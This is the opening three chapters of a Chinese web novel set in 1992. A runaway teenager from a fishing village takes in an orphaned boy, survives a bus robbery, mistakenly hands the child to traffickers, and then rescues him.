《年少有为》
1. 1992[1]
奶奶死了。
老人知道自己大限将至的时候就会独自去山里去海里,省的家里还要开桌办白事,总是倒贴钱,总是惹人嫌。
周瞳知道奶奶死了,那双新的黑色的纸鞋不见了,新鞋子寓意着去路顺畅,不再回头。
周瞳没什么行李,穿着一件军大衣,将夜的时候一个人走在马路上。
离开这里就两条路,扒车,偷渡。
显然,偷渡上船的钱他都拿不出来。
1992刚过完年的时候,周瞳17岁。
17岁能干什么呢?路上有些稀碎的微雨,淋久了还是能打湿衣服。
约摸走个四五个小时,翻过这座山,前面有个坐落在路边的饭店,一般都是客车的司机来宰客,过完年,大家的兜里都有几个子儿。
周瞳需要躲在饭店边上,等一辆随便去那儿的大巴车。
从车站出发的话需要买车票,而这样混上去就能省钱。
周瞳看着不少旅客都进去饭店吃饭,不吃饭的也下来松松筋骨。司机也去上厕所,周瞳拉开了大巴车的驾驶室,就钻了上去。
车里很黑,周瞳将行李搁置,就往车的后排走,瞎着摸,摸到最后一排。
踩到什么东西,软绵绵的,周瞳听见了倒吸一口凉气的怯怯的呜咽,“谁!”周瞳低声问。
大巴车没有灯,好多窗帘都拉上了,这里还有一点儿暖人气儿。
被踩的人不吱声,像个老鼠一样在地上爬。听动静是个孩子。
“你不说出来我,我也不说出来你。”周瞳佯装是惯犯,他兜里没什么钱,补了车票就得饿肚子。
“嗯。”小孩儿轻声的应。
周瞳拉起了帽子,半个人耷在最后一排的车座上,紧了紧窗帘,把脑袋藏在后面,就像这里放了个包一样。
没多大一会儿,陆陆续续的就开始有乘客上来了,周瞳扭过头去,看见了大巴车后面写的字,去分辨他们的口音跟说的话,去宜华的。
宜华是个小县城,怎么着也比这海边的小渔村强。
背着包的就是售票员,一般跟司机就是夫妻档,大晚上的还在拉车,这钱挣了应该是留进他们自己的兜里,他们不做停留,车发动了,往前开去。
售票员抓着座位的椅子,往小饭店的厕所喊,“还有没有没上车的?”
“还有没有没上车的啊?”
见没人答应,车往前走了。
售票员开始数人头,这个饭店前不着村后不着店,也就那么一数,还是晚上。
大家都昏昏欲睡,走路的地方堆了些行李,不太好下脚。
周瞳把自己费劲地往下仰,但是售票员还是费劲千难万险的要过来数人头。
周瞳不动声色仰着曲膝钻下去。
趴在大巴车的地上,边上是一个鸡笼子,里面有几只鸡睿智地看着周瞳。
周瞳在座椅下面看见了一个孩子,孩子就平躺在地上,在座椅下面,看见了周瞳,转过来笑。
“嘘。”周瞳做了一个手势,孩子也做了一个手势,他们约定谁也不说话,像一场游戏。
离开了小饭店,外面基本没有什么光影了。
鸡长鸣了一声,往外飞溅一坨屎,售票员嫌脏,嘟囔了两句走了。
大家的行李都太多,坐一次长途客车,就要把能用的都带上,背着两床被子加三个蛇皮袋的也大有人在。
周瞳靠在窗户上,窗帘遮着他,他看着呼啸而过的,黑乎乎的风景,他什么都没看见,但是又好像看见那落后的小渔村正在一寸一寸的远离他。
奶奶已经半个月没回家了。
周瞳好累,身上又湿又冷,靠在别人的行李上,他困了。
周瞳不知道自己睡了多久,一只小手抓住了周瞳的一根手指,吓得他一激灵。
外面的天已经微微有些亮了,周瞳迷瞪着眼睛往下瞧,“应家小子!”
应家小子是一个病恹恹的娃娃,跟周瞳在一个村里,比周瞳小了差不多有十年了吧。
上次奶奶跟他说,这个应家娃娃家里头是遭天谴的,晦气的很,全家过年还要出海,全死了,就剩下这个娃,没人待见。
海边吃百家饭长大的孩子太多了,从小吃不上饭了就去人多的地方要,人家笑是笑你,骂是骂你,但是总有人给口吃的。
周瞳见过这个孩子一次,在正月初六的时候,这娃在路边蹲着,等着吃别人家恩施他的丧家饭。
周瞳也想去吃,他家里也没米了,家里只有两挂咸的要死的臭咸鱼,一吃就渴得不行,连肝儿都开始痛。
周瞳进去了,这家办白事的他不太认识,随便找了个人说,“应家小子在外面蹲着,有饭给一点儿吧。”
人家从木桶里挖了一份大米饭,又给浇上了鸡汁面糊。
香喷喷的。周瞳见了跟饿狼似的,两眼放金光。
过年休渔,没活儿干,吃不着海。
周瞳端着米饭出来,找了个没人的僻静地,打算自己个儿都吃了。
刚扒拉了两口,见应家那个小子绕着灶台转,一个小气的老妪说,“不是才给你一碗?连吃带拿,一家子都贪,不贪不能死!”
周瞳吞了吞喉结,觉得有点没滋味。
周瞳蹲在墙角招招手,应家的小子过来了,他还在吃手指。
“给你要的,刚刚没找到你。”周瞳说。
小孩儿太脏了,衣服也不知道几天没换了,穿着个小棉袄,两只鞋子都穿反了。
小孩儿接过了饭碗,有点烫,差点儿要摔,还好周瞳给端住了,又拿来个小碗,用衣服擦擦,给他盛出来半碗。
两个人蹲在墙角吃饭,下了雪了,这里这两天走动的人多,拖过的车也多,杀了猪,猪血猪肠还流在地上,一股子臭味。
周瞳把他抱起来,放在矮墙上,之前这里养了些牲口,稻草铺在地上,刚拖走,也干净不到哪里去。
“你以后咋办啊。”周瞳看着他,周瞳自己个儿爹妈没的时候,在印象里,还比他稍微大了一点儿。
应家的小子不说话,周瞳问,“你叫啥呀?”
“花妹儿。”应家小子嘴边都是饭粒,睁着双大眼睛,说,“妈起的。”
这儿常有求子的,也当然有命里无子的,千恩万谢得来了儿子就起个女孩的名字,怕神明收回去,起个女名骗得神明。
周瞳几下就扒拉完了碗里的饭,怕人嫌弃,去水龙头洗碗,想洗干净给人放回去。
水龙头一开,那老妪就心疼的要死,周瞳不想跟她起啥事儿,也怕别人笑话他,就走了。
“啪叽。”身后那小孩儿追了几步,摔了。
周瞳转过头来,把孩子夹着咯吱窝抱起来蹲下来说,“我家也没饭给你吃,而且,我要走了。”
自那之后周瞳就没见过应家小子了。
再见就是在这大巴车上。
“你咋在这里?”周瞳好奇地问,去看这车上有没有人看他们。
小孩儿的眼睛亮晶晶的,虽然脏但是看着周瞳就咧了一口笑,他的牙缺了好几个。
“轻点儿。”周瞳嘘了一声,看着小孩儿的手肿了,合计是自己那一脚踩的,说,“别笑,别人都在睡觉。”
小孩儿扒拉着周瞳的衣服,要挤在周瞳的身上,裤子鞋子都脏,周瞳有点儿嫌弃。
小孩儿窝在周瞳的怀里睡觉,一点也不怕生。
半夜的时候,一个急刹,一车人懵的懵,倒的倒,叫骂连天,前方有铁棍哐哐的砸着大车的挡风玻璃,车上机警的已经开始藏钱了,藏在鞋子里,内裤缝子里,不能让人找着,这是碰上抢车的了。
车里有人跟他接应,车里的那劫匪抡着透着寒光的刀,抵在售票员的嗓子上,“拿钱!”
售票员慌张抵乱翻还没咋滴,包被劫匪抢了。
“蹲下!”劫匪喊道。
车上有人说,“我们人多!大家齐心把他们赶下去!”
劫匪一下子就冲过来,照着说话的人不分青红皂白地就乱拳锤在他脸上,“就你能耐是不?”“就你能耐是吧?”
那人被打的鼻青脸肿,惨叫连连,别打了别打的求饶,吓得旁人再也不敢说话。
周瞳在后面不知道咋整,缩紧了,怀里的小孩儿也醒了。
小孩儿约摸知道这是个啥场面,看了看周瞳,小手抓在周瞳的衣服上,拽得紧紧的。
路上的那个匪徒这会儿也上来了,提着尖刀就开始从前往后的要钱,女人胆小,抱着孩子的更加,一刀就指着小孩儿,女人没法子,哆哆嗦嗦地往外掏。
这匪徒不是第一回干这种事儿了。
“我的耐心有限,这儿前不着村后不着店,今天不给我钱的一个也别想下车!”匪徒的刀在夜里发着寒光。
周瞳兜里没什么钱,奶奶的饼干盒子里有一个方便面的塑料袋,红色的,里面的褪色报纸包着,就几块钱,这个罐子放在周瞳的床边上的时候他就明白了。
刀一动,女人们就害怕地发出低声的惊叫,把钱都拿出来。
前面的人多的少的,都给了,司机被拽到后面,抱着头蹲下,驾驶室的窗户已经被砸了,换了劫匪继续往前开,车往山里开,大路偏移了,谁也不知道颠簸着要去哪里。
劫匪在一排一排的要钱,许多人都要花钱保个平安将钞票上供,三俩匪徒合作,拽脖子的拽脖子,掏衣服的掏衣服,到了最后一排,鸡毫无征兆地鸣叫,要去扑那匪徒,匪徒嫌烦一刀就扎鸡的肚子里,带着血的鸡没断气整个客车里乱窜,把鸡血都甩在人身上,有女人看见边上的人脸上都是血,嗷一声就哭出来了。
尖刀已经戳在周瞳身上,周瞳把钱藏进了内裤的兜里,奶奶缝的。
“我,我没钱。”周瞳举起手来。
“没钱?”匪徒一把抓住了应家小子的头发,应家小子被拖过去,可怜巴巴地看着周瞳。
“我...不认识这小孩儿。”周瞳哆哆嗦嗦地说。
应家小子的头发被揪得厉害,嗷的一声哭了。
“谁家孩子?”匪徒抓着应家小子的头发,拎着转了一圈,“都没人要是吧?”
凶话混着哭声,在逼仄的车内更外渗人。
在这儿,小孩儿要是被抓住了,就是威胁大人的利器。
“没人要我扔下去,砍两刀扔山里喂狼狗!”匪徒的脸上沾着鸡血,蒙着半张脸,在黑暗的车厢里,无人响动。
“行。”匪徒拽着孩子走,抓着头发拖着,孩子还在哭。
劫匪用刀把砸了一扇窗,孩子的脑袋被按出窗户去,外头的风声呼呼的,车还在继续往前开,那应家小子的脖子被抵在碎玻璃上,眼睛红了,挣扎着,玻璃越扎越厉害,一颠簸,似乎要将他的小脖颈刺穿了,有众人的喘气声,有老太婆哭喊出声:
“给钱吧!钱难道比娃还重吗?”
身上有女人低声地啜泣,捂住了自己的孩子的眼睛不叫看。
周瞳偏过头去,
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也不忍看,手不停地颤抖,应家小子喊了一声,“哥!”
周瞳的心猛然颤动了一下,更不敢看了。
匪徒拎着应家小子的脚,将他整个都悬着,喊,“没人要是吧?”
...
“我要...”周瞳的声音顶不住的抖,他胡乱地翻着自己的裤子,上面用鞋带系住了,怎么也拽不开,劫匪来了,周瞳慌张得不敢看他,鞋带还是扯不开,周瞳狠狠一挣,就那么五分的一分的,最大的只有两元。
“我就这些了,成...吗?我...”周瞳胡乱的翻着兜,快哭了,“我真的...不认识这小孩儿...我都给,成吗?”
劫匪将孩子拎回来,不像样了,脖子上出了血,倒挂的时候哭着岔气了,周瞳捡回来这孩子,孩子扑在周瞳身上,呜咽着叫,“哥...”
仨劫匪一股脑的地下车跑了,消失在茫茫的山里。
司机又将车重新开回去大路,他流着鼻血,偶尔吸鼻子,车里没人说话,死一样的寂静。
周瞳被吓得脸色发青,怀里的孩子不知道是睡着了还是死了。
外面的天渐渐翻出鱼肚,车也开进了县城,山坳越来越远了,车上的人才松了一口气。
约摸着早上九十点,终于到站了,车里的像是遭受了一场炼狱,都沉默地下车,周瞳在最后面,孩子脸上的血都黏在上面了,周瞳的手上也是,但是送去医院,还要花钱。
92年的时候,很多人治病都是欠账,消失在某一天的深夜,再也不回来。
周瞳没钱,在这里人生地不熟,抱着个孩子不知道怎么办。
周瞳看见了警务亭,有穿着警服的人到处在巡逻。
周瞳瞧瞧孩子,就把他放在铁皮长椅上,转身要走。
小孩儿握住了周瞳的手指,小小的手抓住了他。
身后有人挤着东西,小推车上都是瓶瓶罐罐,骂骂咧咧了两句嫌堵着过道。
周瞳蹲下来,问,“你在这里有没有亲眷?”
小孩儿咬着手指摇摇头。
“那你来这里干什么?”周瞳问。
小孩儿紫着脸,指着周瞳。
“我?”周瞳问。
小孩儿点点头。
周瞳低着头,拽开孩子的手,扭过头去,说,“我管不了你。”
头都不敢回。
车站这么多人,总会有人看见这个小孩儿的,警务室就在旁边,总不至于把孩子饿死的,好人看见了就会去医院,其他事,就看他自己的造化。
周瞳是扒车逃票来的,他可不敢跟人套近乎。
小孩儿满脸是血,从铁皮椅子上翻下来,哭着喊着在后面追,“哥!”
人太多了,打眼看去都是大屁股,都是一动就能把自己掀翻的大背包,小孩儿哭了出来,追在后面,有人拦住了周瞳,说,“你弟弟叫你。”
是警察。
“有亲戚的,我们原则上规劝你,要是都把病孩子放到这里了,我们还怎么开展工作?”
“我不认识。”周瞳急忙说,“车上遭了抢了,人家倒挂他,我给钱了,留了他的命,我还怎么弄?”
“哥...”小孩儿鼻涕八叉,抱着周瞳的腿,“我怕…哥…”
边上围上了人,有个阿姨眼睛红的,“给口饭吃就大了,再难总会过去的,何苦要扔孩子呢。”
“你俩一个口音。”警察公事公办,说,“也是一个地方的,老乡出来还要互相照顾,这小个娃娃,你咋恁狠心?”
阿姨拍着周瞳的胳膊,像个心疼人的长辈,说,“都有牙了,苦不得几年的,扔了,以后要悔的。”
“我没钱。” 周瞳说,“我自己能苦,他咋弄?”
阿姨一滴眼泪就掉了下来,她擦了擦,就开始从兜里掏钱,她自己也没多少,卷了几张皱巴巴的钞票给周瞳塞他的口袋里,抬头哽咽地说,“听姨的,我姑娘就叫我婆家扔车站了,我怎么找都找不着,你拿着,娃娃胳膊腿都好,还会说话,叫医院打两天水,钱你拿着,孩子别扔了,成吗?”
周瞳一动不动,看着阿姨给自己的夹克衫里塞钞票。
阿姨的眼睛怎么就要为不认识的小孩儿哭呢?
小孩儿跑上来,抱住了周瞳的腿,眼巴巴地看着他。
***
周瞳带着孩子来卫生所,大夫拿着镊子跟棉花给他清创,周瞳呆呆地坐在边上,瞅这两人的打扮就是没钱的,大夫心眼儿好,就要了一点点钱。
大夫说,“不用缝针,就是吓着了,你带着来换药就行。”
周瞳瘪瘪嘴,他还拎着行李,连落脚的地方都没有。
周瞳看了看医院,有长凳子,晚上能睡觉,估计不能太冷。
医院弥漫着消毒水的味道,半墙都是浅绿色的,周瞳去卫生间里洗了一把脸,看着镜子里的自己,挠挠头,胡乱地看来看去,不知道怎么办。
小孩儿的眼睛一直盯着他,手也不松开。
医生见惯了,一边擦着药,小孩儿缩脖子,医生道,“十来岁就能上饭店端盘子了,小孩子蹿的快。”
周瞳的驮着背二郎腿翘得没气势,别过头去,不吱声。
周瞳想把孩子扔医院里,但是看了看抱着他腿的娃,一寸也不离他,边上都是人,他也不知道怎么办。
周瞳领着孩子走出了医院,在报停里面买了最便宜的香烟,叼了一根点火猛吸了一口,看着应家小子,说,“我给你找个家,成吗?”
2. 1992[2]
周瞳一手牵着孩子,一手拎着个脏兮兮的布包,他第一次来宜华,连高楼看着都是惊喜的。渔村里只有永远晒不完的咸鱼,跟腥臭潮湿的包括身上还带着的鱼腥味。
周瞳不知道要去哪里给应家小子找个家,这儿会有吗?
周瞳带着孩子走进了一家婚介所,整个店弥漫着一股烟味儿,墙上挂着一些新人的结婚照跟锦旗,一张红色的大桌子上摆着个绿植,桌子玻璃下压着挺多证明跟荣誉证书。
周瞳大约就读完了初一,初中的学校太远了,奶奶没人照看,她的腿脚有风湿,脚窝里时常有脓液,需要周瞳给他扎针抽出来。
“你们这里,管给孩子找家吗?”脏兮兮的周瞳左边背着包,肩膀都歪了,右边牵着个孩子。
老板的腿翘得高,从报纸里面挪出一半脸来,胖胖的,看了看小孩儿,又把脸收回去了,“太大了,都记人了,没人要。”
“那你这不是写的,”周瞳指着墙上的字,说,“代找美好家庭吗?”
“那都是生了养不起的,不大点儿啥都不知道的,你这个,养大了还得跑回去,没人买。”老板的声音从报纸后传来。
“买?”周瞳蒙了。
“买了才会对他好!”老板不耐烦地说,“花了钱的,你合计买回去饿死啊?”
周瞳不吱声了。
“你这是自己的娃吗?”老板屁股下面的椅子咯吱响,转动了一点。
“不是,”周瞳不知道这二者有什么关系,但是还是老实说了,“我捡来的。”
老板听言,从椅子上下来,插着兜走过去拉上了门,吱呀一声,周瞳心里发怵。
“自己养不过去是不?”老板给周瞳发了一支烟,“身上也没钱,孩子还麻烦。”
周瞳被说中了,也让老板点了烟了。
“你孩子给我吧。”老板从兜里掏出来几张钞票,约摸有二十来元。
“给孩子找条路,”老板低声说,“我管他一口饭吃,能不能成?”
周瞳还没明白啥意思,钞票就塞进去周瞳夹克衫的袋子里了,老板拍拍他的肩膀,抱起娃娃说,“我们走咯!我们一会儿再来找哥哥。”
应家小子被抱着,哭出来了。
周瞳扯了扯包,就独自走了出来。
别人看见周瞳带着孩子进去,自己独自出来,看他的眼神很是鄙夷,周瞳不明白什么意思。
他抬头看,这里的街道不是小镇上铺着砖石路的老街道,小镇的街道都是一块块的木板卡进去的门,这儿都已经有关合的门了,稍微气派一点儿的都有卷帘门跟玻璃门,街上站着许多模特,穿着时兴的服装,勾勒出腰来。
周瞳有点脏,又有点臭,找了个人家后面的水龙头就想洗把脸。
“作孽啊。”一个老太太关上水管子,不叫周瞳洗。
虽说这年头的自来水还是稀罕东西,但是洗把脸都舍不得的,周瞳真的不懂。
兜里有了一点钱,周瞳想看看这儿有没有便宜点儿的地方,能先住下来的。
老太太在他背后狠狠吐了一口唾沫,接着便念着周瞳听不懂的「南无阿弥陀佛」。
周瞳从昨天开始就翻山越岭的,又在车上遭了那么一遭,这会儿孩子也弄走了,他摸着兜里的钞票,想在这边上的店吃个炒面,挂着个牌子,叫旺旺饭店。
周瞳刚走进去,凶悍的老板娘的一瓢脏水就泼在他脚上,周瞳说,“你咋不长眼呢?”
“你长眼了!你个丧良心的!”老板娘嗓门真是太尖了,一听就是刻薄人。
“我咋了你了,”周瞳有点委屈,“我啥也没干我上你家吃炒面,我门都没进,你在门口骂我。”
“你的钱咱不稀罕挣!”老板娘说完,扭着屁股进去了。
周瞳真的不明白。
折腾了一天,天已经要黑了。
周瞳问了好几家,那个晦气的老太太就跟在后面,「南无阿弥陀佛」,「南无阿弥陀佛」的,跟个鬼一样,他胸口挂着一个佛牌,是给人念佛的。
人家不租地方给他住。
周瞳弄不懂。
周瞳甩开了老太太,不远处有个热闹的天桥,摆着许多摊,老板们推着小推车,在地上放几条塑料板凳就能做生意了。
天已经暗下来了,炒锅里面热气腾腾的,玉米,茶叶蛋,还有烤饼子,老板都在可着劲儿的招呼。
周瞳饿了,坐在塑料板凳上吃茶叶蛋。
“你不买我东西,你坐我凳子?”老板带着一个脏兮兮的围裙,手里抄着个勺子,周瞳赶紧起来,说,“对不住,对不住。”
他的脚实在太酸了。
周瞳将包放在地上,坐在上面,看着天桥上的人来来往往,有老板模样的人,带着气派的手表,搂着扎辫子的年轻女子,腋下夹着个包,长得不好看,但是瞧着就有钱,周瞳艳羡不已。
周瞳此时还不知道,距离他变成这样的人,从现在开始算,还用不上两年。
俩茶叶蛋,周瞳吃得像是什么宝贝,一点儿稀碎的蛋黄都舍不得漏,看了看身边没人,连手指上的他都吃掉了。
周瞳刚想吃第二个的时候,有人握住了他的脚踝。
周瞳低头去看,是一个孩子,不,是半个孩子。
约摸有六七岁,脏兮兮的,舔着自己的嘴唇,脸像是被烧了,他半个身子镶在一块木板上,靠手在这里爬行,他脖子上挂着块牌子,周瞳看不仔细,反正是要饭的。
周瞳哪有钱做好心人。
自己都活不下去。
周瞳想走,脚踝被他死死的拽着,他抬头看着周瞳,咿咿呀呀的不知道在说什么。
“啥?”周瞳问。
边上补鞋子的老太太说,“舌头叫人割了,说不了话。”
“啥毛病,没的治了吗?”周瞳问。
“哼,”补鞋的老太太眼睛不太好,凑得离鞋子特别近,那粗粗的针都要扎进她的眼球,她说,“拐来的孩子,砍上一刀,缝起来,拿烧红的铁子往脸上一淋,舌头割了,就出来要饭。”
“你不给钱,他要不到那些,回去要遭罪。”老太太说得云淡风轻,周瞳的后背都僵住了。
要饭的半截孩子张着嘴,抓着周瞳的脚踝越抓越重,不像小孩儿的手,像魔鬼的爪牙。
小孩儿的嘴巴是空洞的,他没有舌头,黑乎乎的口腔看得周瞳感觉自己都要被卷进去了,被他的嘴巴吞进去,周瞳的手都颤抖起来,应家小子!
周瞳在这个时候才搞明白了,为啥那个老太太说他作孽,追在他身后念「南无阿弥陀佛」,为啥那个老板娘他还没进去就开始咒他他。
周瞳的脸跟耳朵都涨得通红,天桥上面的路四通八达,周瞳感觉到处都是被割了舌头的小孩儿,周瞳在这里辨认不了方向了,不知道应家小子被他卖到哪里了。
周瞳发疯一样跑在宜华的街上,他让自己冷静下来,去认自己今天走来的路,胖胖的老板娘
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,街边有模特,裁缝店叫什么名字,他闭着眼睛去想,却感觉脑子一片混乱。
所幸,那家咒骂他的老板娘还在街上骂人,周瞳过去抓住了她,指着那家婚姻介绍所,问,“这家,这家老板到底,干啥的!”周瞳喘不上气,他说,“这家老板,他讲会给我孩子一口饭吃的!”周瞳都要哭了,“他讲给饭吃!”
周瞳哆哆嗦嗦的把兜里的钱都掏出来,“姐,你帮帮我,我看见天桥上的娃了!”
“我咋帮!”老板娘这会儿看着周瞳也是顾不上置气了,低声喊,“他们全是人,我咋帮!”
周瞳真的无法接受自己将应家小子卖给了这样的团伙,啪嗒一下就给跪下了,说,“姐,求你了,你帮帮我,我真的做错事情了。”
老板娘喊了一声,他男人出来了,是她的丈夫,个子不高,很是敦实,老板娘抖着嗓子还凶巴巴地教训,“哭啥!你下午送的,估计他得明天的车接走,你晚上多找些人,去找回来就是!”
“我没人,我才来,”周瞳的眼睛都烂得一直滴水,说,“我是外乡的,我今天刚到这里,姐!警察,我找警察能管吗?”
老板娘没回答他。
周瞳看见了吃饭的几个年轻人,正朝着他们看,他们早就听见了,看他们身上的藏青色的衣服都是一样的,像是一个厂子的,周瞳进去磕磕巴巴地掏出那包廉价的烟出来,“大哥,我,你们帮帮我成吗?我给你们打欠条,以后,我挣钱了,我都还给你们。”十七岁的周瞳才出了自己封闭的小渔村,第一回遇上这样的事,他脑子里都是那个没舌头的半截小孩儿,抖着手,几下都没法点着打火机,周瞳见他们低着头不说话,更着急了,说,“我去厂子里干活,我明天就去,我不要工资,都给你们,我肯定不跑,能行吗?”
周瞳又要跪下了,还没落地的时候一个彪壮的满脸横肉的汉子拉住了他的胳膊,说,“跪啥...走吧。”
周瞳这会儿瘦得不行,个子高也不顶啥用,厂子里的大哥说要回去叫人,找保安队,拿东西。
周瞳惶恐不安,怕人家报复这家店,从这儿出去了,只蹲在路边的墙角等。
等待的时间太漫长了。
饭店的老板摘了围裙,穿了件黑色的棉袄,跟在他们后面,老板娘没拦他。
几根手电筒的光亮起来的时候,蹲在路边擦眼泪的周瞳站起来,汉子真的带了人来,周瞳心里害怕,怕应家小子已经被人抓走了,现在一刀砍在他的腰上,就剩下半截了,汉子们换了衣服,带着周瞳去砸门。
寂静的夜,周瞳看着胡子拉碴的汉子,像是看见自己早已经死了的爹。
门没人开,一伙人站在门口不知道怎么弄。
饭店老板忙说,“后头通着弄堂!”
一伙儿人又绕着路走,在饭店老板的带领下,看见了一个棚子,棚子下面有人在烧火,周瞳深一脚浅一脚的往前跑,有好几个男人在小桌子上喝酒,墙上靠着锄头,长枪,应家小子的脖子上被栓了狗链子,正蹲在棚子边上,狗链子很短,他蹲也不是,坐也不是。
对面的男人们围了上来,汉子壮实,带的人多,周瞳跑上去解狗链子,发现被上了锁,挣着锁就有人一钢棍打下来了,打在周瞳的脖子上,又一下打在他背上,周瞳的鼻血流下来了,身后的人已经冲在了一起,大汉喊,“带孩子走!”
周瞳蹲在哪儿,一棍子被打得跪在地上,地上放着许多捕兽夹,这一跪,感觉膝盖骨都碎了。
3. 1992[3]
应家小子害怕,扑在周瞳的身上,怯怯的喊,“哥。”
“我不好,”周瞳哽咽着,但是锁怎么也解不开,“哥来了,不怕了。”
对面的男人都是练家子,大汉们虽然人多,但是也被打得嚎叫连天。
嚎叫声在周瞳的耳边转啊转,周瞳实在弄不开这锁,最后一拔,还连着一个门,周瞳的膝盖疼的要死,但是起来猛地一踹门板,应家小子被跩得差点晕过去,好赖,人被挣出来了。
周瞳抱到了孩子,喊,“拽下来了!”
大汉们掩护着就要后撤,那一夜,在应不尘的印象里,有很多叔叔带着他跑啊跑,他们有的笑,有的骂,身上都被打了,他的哥哥抱着他跑在最前面,他那会儿并不懂,1992年的冬天,他差点要遭遇什么。
跑着跑着,人就散了。
等周瞳醒神的时候,就剩下他自己抱着带着狗链的孩子了。
周瞳没地方去,前面有个铁皮的房子,周瞳叩了几下门,没人应,里面没人,锁也锈了,一挣就断了。
周瞳推开门进去,应当是里面从前养了鸡,地上都是稻草。
周瞳把应家小子放稻草上,这娃娃就一天,就造得不像样了,周瞳给他擦脸,一擦他就疼。
外面有个缸子,接了不少雨水,也叫天乐水,周瞳洗了个喂鸡过得盆,端进来给应家小子洗脸。
小孩儿不愿意洗脸,估计是周瞳的手太粗糙了,也估计是水太冷了,他折腾了两下,不愿意,衣服顺着他的下巴溜进去,连棉袄都湿了一点儿。
“不洗咋成?”周瞳把他的小手按进盆里,“冷是不?洗冷水,一会儿就热了。”
孩子乖了,周瞳吸了吸鼻子,一股子甜腥味,他淬了口血,看着娃,说,“我今天都要吓死了。”
娃娃半懂不懂,摸了摸周瞳的脸,说,“拍一拍,吓不着。”
“咱俩可咋整啊。”周瞳说完话,就躺在稻草上,这一天太累了,这会儿膝盖的后劲儿才上来,疼的后背都是一身冷汗。
这地方有灯泡,边上的框子跟饲料是养鸡过的,周瞳摸着墙壁,一扯,灯亮了。
黄澄澄的,周瞳给他拉下来点儿,太亮了,但是暖和。
小孩儿的脖子上还带着狗链子,卡得紧,周瞳拿棍子戳,也弄不开,上了个小锁,他一躺下整跟粗链条子就压在他脖子上,没三下就得弄弄,不然上不来气儿。外头都是黑天,只得明天找锁匠。
周瞳扯了跟棍子悬着链子,他还是不舒服。
没招,周瞳只得拎着点儿,也不方便,小孩儿躲进周瞳的怀里。他的肚子咕咕叫。
周瞳的军大衣里面还有个茶叶蛋,经历了刚刚的一遭,烂的像坨屎。
周瞳小心的剥开蛋壳,给应家小子吃,两人都饿。
周瞳坐在稻草上,吞着口水,瞧孩子,跟他说,“吃呗。”
“你呢?”应家小子问。
“我吃过了,”周瞳说,“炒面。”
小孩儿信了,猴急地吃,不好咽,链子还挂在脖子上呢,噎得孩子打嗝。
周瞳轻轻拍着他后背,说,“天亮了,我领你去摘了,再带你去吃饭。”
小孩儿看看周瞳,说,“哥,你能不给我找家吗?”
周瞳低着头,不敢回答他。
天亮了。
周瞳带着孩子去找锁匠,锁匠看这样子,狮子大开口,要三元钱。
应家小子躲在周瞳身后,说,“哥,这是项链子,我不摘了。”
“瞎扯呢。”周瞳对锁匠说,“摘吧。”
没两下子,锁就开了。
周瞳对着那锁匠淬了口口水,走了。
人家也不在乎。
周瞳拉着孩子,又不敢去昨晚那个饭店,他怕给饭店沾祸水,又怕人家来抢孩子,那二十元还在自己的兜里呢。
周瞳买了几个饼子,外面下雪了,太冷了,就回去那个鸡棚。
刚过去,就看见人在那扔东西,周瞳赶忙上前道歉,“我的,对不住,对不住。”
衣服行李都被扔在泥巴地上了,那人抬起头来,瞧着棉袄挺好的,约摸有四十,有点精明。
“谁让你住这儿的?”老板用棉袄擦着皮鞋上的泥。
“昨儿个冻得不行了,我刚到这这儿,对不住您,我给您拿钱。”周瞳说,他的膝盖疼,走路有点儿颠。
“咋弄的?”老板指着膝盖问,上面的泥巴还在呢。
“摔了,”周瞳说,“您这地方能租我住几天吗?我找到地方就搬出去,我一会儿就去找工,我可以算钱,就是...”别太贵了。周瞳搓搓手,又从兜里掏出来烟,抬了抬胳膊叫老板抽。
烟太差劲了,老板不要。
老板过来,一把拢起了周瞳的头发,端着他的下巴看了看,说,“小模样倒是还行,就是脏,我开沙龙的,就是剪头发,你能干吗?”
“能。”周瞳捏紧了衣服,说,“我之前也学铰头发了,在我们那,我也能铰。”
周瞳撒谎了,他唯一剪过的头发就是自己的跟奶奶的。
后来他去镇上的洗发店剪,稍微时髦了一点。
“可是你带这个孩子啊?”老板眯着眼睛,掏了根烟,贵的。
周瞳从兜里掏出来火机,就要给老板点烟,说,“亲眷家的,还没过来,带两天。”
“不是你弟弟?”老板问。
周瞳说,“我来早了,我亲戚炒菜的,东西多,要过了十五来。”
周瞳又在撒谎,他根本没有亲戚来宜华。
“这儿能住?”老板指着鸡棚子问。
“能。”周瞳说。
那会儿的地方划分还没有很严格,家里稍微塞点钱,垒了几块砖,这地方就归着你用了,也没证,也没人管。
“别弄得太埋汰。”老板说,“管你住,管你吃一顿,给你点儿生活费,能行吗?”
“行。”周瞳笑了,运气真是太好了,一到这儿就找到工作了。
“你给这拾掇拾掇。”老板指着前面,说,“晚点或者明儿过来,就前面街上,你一问就知道。”
“行。”周瞳说。
二人进了鸡棚,周瞳觉查出来了,人家老板嫌弃他带这个孩子,背着身对应家小子说,“你要是看见有钱的,你就上去抱住人家腿,跟人走,我也不等你回来,我自己都活不过去,行吗?”
应家小子坐在周瞳的书包上,半懂不懂。
周瞳在抬木板,上面有生锈的钉子,得把这些东西都抬出来,这地儿好好扫一扫才行。
周瞳一个趔趄,钉子扎了手,应家小子跑过来,蹲在周瞳面前看他的手指。轻轻的含住了,周瞳皱着眉说,“多脏呢。都是鸡屎。”
应家小子不说话,看着周瞳笑。
周瞳倒腾了半天,才把这地儿收拾个有个样子,用蓝白红的塑料雨布就扎在墙上挡风,但是这塑料棚布似乎是日头晒久了,一碰就要碎了,折腾了半天也没弄多少,累的周瞳倒是气喘吁吁。
应家小子从远处走来,捧着个啥,等周瞳看清楚的时候,一杯水就撒得只有半杯了。
水太烫了,烫得孩子的手都通红。
大冷天干完活儿的周瞳喝到了一口热水,暖了,剩了一点点,叫孩子喝。
应家小子摇摇头,舔了舔干巴巴的嘴唇,蹲在边上敲螺丝。
周瞳觉得他可怜,抱在跟前喂水。
天暗得很快,老板心眼好,给了一床被子,是他家老人盖过的,有点儿老人味,出门在外没什么能挑的,周瞳感谢了人家,又从身上掏出烟来,老板瞥了一眼周瞳的烟,摆摆手谢绝了。
这里本就有电,之前这儿孵小鸡了,这灯是暖的,周瞳把他拉得下来了些,黄澄澄的房间里,小孩儿自觉的缩在床上的角落,后面的木板还有螺丝,被周瞳砸歪了一点儿,但是也会扎人。
周瞳把衣服塞在他后面,上了床。
北风还在吹,吹的屋里的烂篷布都猎猎作响。
“冷。”应家小子说。
周瞳抱着孩子缩在一起,他说,“屁话,谁不冷。”
应家小子在发抖,哪怕周瞳抱着他。
周瞳叹了口气,起来了,拿着一个脏兮兮的玻璃瓶,在盆里沉了两下,稍微干净点儿,他裹紧了衣服,往街上还开着的一家夜宵店走去。
